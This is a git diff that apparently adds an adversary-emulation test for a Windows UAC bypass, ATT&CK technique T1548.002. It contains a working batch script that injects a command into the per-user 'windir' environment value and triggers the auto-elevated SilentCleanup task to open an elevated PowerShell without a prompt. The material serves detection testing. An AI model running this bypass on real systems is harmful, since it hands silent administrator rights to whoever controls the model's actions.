diff --git a/atomics/T1548.002/T1548.002.yaml b/atomics/T1548.002/T1548.002.yaml index 5186a236..17eb59f5 100644 --- a/atomics/T1548.002/T1548.002.yaml +++ b/atomics/T1548.002/T1548.002.yaml @@ -162,3 +162,28 @@ atomic_tests: reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f name: command_prompt elevation_required: true +- name: Bypass UAC using SilentCleanup task + description: | + Bypass UAC using SilentCleanup task on Windows 8-10 using bat file from https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/ + + There is an auto-elevated task called SilentCleanup located in %windir%\system32\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC (even highest level). + + For example, we can set the windir registry kye to: "cmd /k REM " + + And forcefully run SilentCleanup task: + + schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I + + REM will tell it to ignore everything after %windir% and treat it just as a NOTE. Therefore just executing cmd with admin privs. + supported_platforms: + - windows + input_arguments: + file_path: + description: Path to the bat file + type: String + default: PathToAtomicsFolder\T1548.002\src\T1548.002.bat + executor: + command: | + #{file_path} + name: command_prompt + elevation_required: false diff --git a/atomics/T1548.002/src/T1548.002.bat b/atomics/T1548.002/src/T1548.002.bat new file mode 100644 index 00000000..d873b527 --- /dev/null +++ b/atomics/T1548.002/src/T1548.002.bat @@ -0,0 +1,8 @@ +@echo off +mode 18,1 +color FE +reg add "HKCU\Environment" /v "windir" /d "cmd /c start powershell&REM " >nul +timeout /t 2 >nul +schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I >nul +timeout /t 3 >nul +reg delete "HKCU\Environment" /v "windir" /F \ No newline at end of file